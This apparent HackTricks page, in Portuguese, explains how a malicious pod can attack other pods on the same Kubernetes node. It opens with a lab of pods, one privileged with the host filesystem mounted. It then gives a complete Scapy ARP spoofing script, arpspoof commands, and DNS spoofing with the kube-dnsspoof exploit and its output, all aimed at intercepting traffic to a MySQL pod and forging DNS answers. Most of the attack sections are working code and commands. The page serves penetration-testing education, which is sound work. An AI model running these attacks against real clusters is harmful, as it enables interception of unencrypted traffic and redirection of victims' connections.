Kubernetes Network Attacks

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Check the subscription plans!

• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.

• Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

Introdução

No Kubernetes, observa-se que um comportamento padrão permite o estabelecimento de conexões entre todos os contêineres residindo no mesmo nó. Isso se aplica independentemente das distinções de namespace. Tal conectividade se estende até Camada 2 (Ethernet). Consequentemente, essa configuração potencialmente expõe o sistema a vulnerabilidades. Especificamente, abre a possibilidade para um contêiner malicioso executar um ataque de spoofing ARP contra outros contêineres situados no mesmo nó. Durante tal ataque, o contêiner malicioso pode enganosamente interceptar ou modificar o tráfego de rede destinado a outros contêineres.

Os ataques de spoofing ARP envolvem o atacante enviando mensagens ARP falsificadas (Protocolo de Resolução de Endereços) por uma rede local. Isso resulta na vinculação do endereço MAC do atacante com o endereço IP de um computador ou servidor legítimo na rede. Após a execução bem-sucedida de tal ataque, o atacante pode interceptar, modificar ou até mesmo parar dados em trânsito. O ataque é executado na Camada 2 do modelo OSI, razão pela qual a conectividade padrão no Kubernetes nessa camada levanta preocupações de segurança.

No cenário, 4 máquinas vão ser criadas:

• ubuntu-pe: Máquina privilegiada para escapar para o nó e verificar métricas (não necessária para o ataque)

• ubuntu-attack: Contêiner malicioso no namespace padrão

• ubuntu-victim: Máquina vítima no namespace kube-system

• mysql: Máquina vítima no namespace padrão

echo 'apiVersion: v1
kind: Pod
metadata:
name: ubuntu-pe
spec:
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-pe
securityContext:
allowPrivilegeEscalation: true
privileged: true
runAsUser: 0
volumeMounts:
- mountPath: /host
name: host-volume
restartPolicy: Never
hostIPC: true
hostNetwork: true
hostPID: true
volumes:
- name: host-volume
hostPath:
path: /
---
apiVersion: v1
kind: Pod
metadata:
name: ubuntu-attack
labels:
app: ubuntu
spec:
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-attack
restartPolicy: Never
---
apiVersion: v1
kind: Pod
metadata:
name: ubuntu-victim
namespace: kube-system
spec:
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-victim
restartPolicy: Never
---
apiVersion: v1
kind: Pod
metadata:
name: mysql
spec:
containers:
- image: mysql:5.6
ports:
- containerPort: 3306
imagePullPolicy: IfNotPresent
name: mysql
env:
- name: MYSQL_ROOT_PASSWORD
value: mysql
restartPolicy: Never' | kubectl apply -f -

kubectl exec -it ubuntu-attack -- bash -c "apt update; apt install -y net-tools python3-pip python3 ngrep nano dnsutils; pip3 install scapy; bash"
kubectl exec -it ubuntu-victim -n kube-system -- bash -c "apt update; apt install -y net-tools curl netcat mysql-client; bash"
kubectl exec -it mysql bash -- bash -c "apt update; apt install -y net-tools; bash"

Redes Básicas do Kubernetes

Se você quiser mais detalhes sobre os tópicos de rede introduzidos aqui, consulte as referências.

ARP

De maneira geral, a rede pod-a-pod dentro do nó está disponível através de uma ponte que conecta todos os pods. Essa ponte é chamada de “cbr0”. (Alguns plugins de rede instalarão sua própria ponte.) O cbr0 também pode lidar com ARP (Protocolo de Resolução de Endereços). Quando um pacote de entrada chega ao cbr0, ele pode resolver o endereço MAC de destino usando ARP.

Esse fato implica que, por padrão, cada pod em execução no mesmo nó poderá comunicar-se com qualquer outro pod no mesmo nó (independentemente do namespace) em nível de ethernet (camada 2).

Portanto, é possível realizar ataques de ARP Spoofing entre pods no mesmo nó.

DNS

Em ambientes kubernetes, você geralmente encontrará 1 (ou mais) serviços DNS em execução geralmente no namespace kube-system:

kubectl -n kube-system describe services
Name:              kube-dns
Namespace:         kube-system
Labels:            k8s-app=kube-dns
kubernetes.io/cluster-service=true
kubernetes.io/name=KubeDNS
Annotations:       prometheus.io/port: 9153
prometheus.io/scrape: true
Selector:          k8s-app=kube-dns
Type:              ClusterIP
IP Families:       <none>
IP:                10.96.0.10
IPs:               10.96.0.10
Port:              dns  53/UDP
TargetPort:        53/UDP
Endpoints:         172.17.0.2:53
Port:              dns-tcp  53/TCP
TargetPort:        53/TCP
Endpoints:         172.17.0.2:53
Port:              metrics  9153/TCP
TargetPort:        9153/TCP
Endpoints:         172.17.0.2:9153

No info anterior, você pode ver algo interessante, o IP do serviço é 10.96.0.10, mas o IP do pod que está executando o serviço é 172.17.0.2.

Se você verificar o endereço DNS dentro de qualquer pod, encontrará algo assim:

cat /etc/resolv.conf
nameserver 10.96.0.10

No entanto, o pod não sabe como chegar a esse endereço porque o intervalo de pods neste caso é 172.17.0.10/26.

Portanto, o pod enviará as solicitações DNS para o endereço 10.96.0.10, que será traduzido pelo cbr0 para 172.17.0.2.

Isso significa que uma solicitação DNS de um pod sempre irá para a ponte para traduzir o IP do serviço para o IP do endpoint, mesmo que o servidor DNS esteja na mesma sub-rede que o pod.

Sabendo disso, e sabendo que ataques ARP são possíveis, um pod em um nó será capaz de interceptar o tráfego entre cada pod na sub-rede e a ponte e modificar as respostas DNS do servidor DNS (DNS Spoofing).

Além disso, se o servidor DNS estiver no mesmo nó que o atacante, o atacante pode interceptar todas as solicitações DNS de qualquer pod no cluster (entre o servidor DNS e a ponte) e modificar as respostas.

Spoofing ARP em pods no mesmo Nó

Nosso objetivo é roubar pelo menos a comunicação do ubuntu-victim para o mysql.

Scapy

python3 /tmp/arp_spoof.py
Enter Target IP:172.17.0.10 #ubuntu-victim
Enter Gateway IP:172.17.0.9 #mysql
Target MAC 02:42:ac:11:00:0a
Gateway MAC: 02:42:ac:11:00:09
Sending spoofed ARP responses

# Get another shell
kubectl exec -it ubuntu-attack -- bash
ngrep -d eth0

# Login from ubuntu-victim and mysql and check the unencrypted communication
# interacting with the mysql instance

arp_spoof.py

#From https://gist.github.com/rbn15/bc054f9a84489dbdfc35d333e3d63c87#file-arpspoofer-py
from scapy.all import *

def getmac(targetip):
arppacket= Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(op=1, pdst=targetip)
targetmac= srp(arppacket, timeout=2 , verbose= False)[0][0][1].hwsrc
return targetmac

def spoofarpcache(targetip, targetmac, sourceip):
spoofed= ARP(op=2 , pdst=targetip, psrc=sourceip, hwdst= targetmac)
send(spoofed, verbose= False)

def restorearp(targetip, targetmac, sourceip, sourcemac):
packet= ARP(op=2 , hwsrc=sourcemac , psrc= sourceip, hwdst= targetmac , pdst= targetip)
send(packet, verbose=False)
print("ARP Table restored to normal for", targetip)

def main():
targetip= input("Enter Target IP:")
gatewayip= input("Enter Gateway IP:")

try:
targetmac= getmac(targetip)
print("Target MAC", targetmac)
except:
print("Target machine did not respond to ARP broadcast")
quit()

try:
gatewaymac= getmac(gatewayip)
print("Gateway MAC:", gatewaymac)
except:
print("Gateway is unreachable")
quit()
try:
print("Sending spoofed ARP responses")
while True:
spoofarpcache(targetip, targetmac, gatewayip)
spoofarpcache(gatewayip, gatewaymac, targetip)
except KeyboardInterrupt:
print("ARP spoofing stopped")
restorearp(gatewayip, gatewaymac, targetip, targetmac)
restorearp(targetip, targetmac, gatewayip, gatewaymac)
quit()

if __name__=="__main__":
main()

# To enable IP forwarding: echo 1 > /proc/sys/net/ipv4/ip_forward

ARPSpoof

apt install dsniff
arpspoof -t 172.17.0.9 172.17.0.10

DNS Spoofing

Como já mencionado, se você comprometer um pod no mesmo nó do pod do servidor DNS, você pode MitM com ARPSpoofing a bridge e o pod DNS e modificar todas as respostas DNS.

Você tem uma ferramenta e um tutorial muito bons para testar isso em https://github.com/danielsagi/kube-dnsspoof/

No nosso cenário, baixe a ferramenta no pod do atacante e crie um **arquivo chamado hosts ** com os domínios que você deseja spoof como:

cat hosts
google.com. 1.1.1.1

Realize o ataque à máquina ubuntu-victim:

python3 exploit.py --direct 172.17.0.10
[*] starting attack on direct mode to pod 172.17.0.10
Bridge:  172.17.0.1 02:42:bd:63:07:8d
Kube-dns:  172.17.0.2 02:42:ac:11:00:02

[+] Taking over DNS requests from kube-dns. press Ctrl+C to stop

#In the ubuntu machine
dig google.com
[...]
;; ANSWER SECTION:
google.com.		1	IN	A	1.1.1.1

Se você tentar criar seu próprio script de spoofing de DNS, se você apenas modificar a resposta de DNS isso não vai funcionar, porque a resposta vai ter um src IP o endereço IP do pod malicioso e não será aceita. Você precisa gerar um novo pacote DNS com o src IP do DNS onde a vítima envia a solicitação de DNS (que é algo como 172.16.0.2, não 10.96.0.10, esse é o IP do serviço DNS do K8s e não o IP do servidor DNS, mais sobre isso na introdução).

Capturando Tráfego

A ferramenta Mizu é um visualizador de tráfego de API simples, mas poderoso para Kubernetes, permitindo que você veja toda a comunicação de API entre microsserviços para ajudar a depurar e solucionar regressões. Ela instalará agentes nos pods selecionados e coletará suas informações de tráfego e mostrará em um servidor web. No entanto, você precisará de altas permissões no K8s para isso (e não é muito discreto).

Referências

• https://www.cyberark.com/resources/threat-research-blog/attacking-kubernetes-clusters-through-your-network-plumbing-part-1

• https://blog.aquasec.com/dns-spoofing-kubernetes-clusters

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE) Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Suporte ao HackTricks

• Confira os planos de assinatura!

• Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.

• Compartilhe truques de hacking enviando PRs para os repositórios do HackTricks e HackTricks Cloud.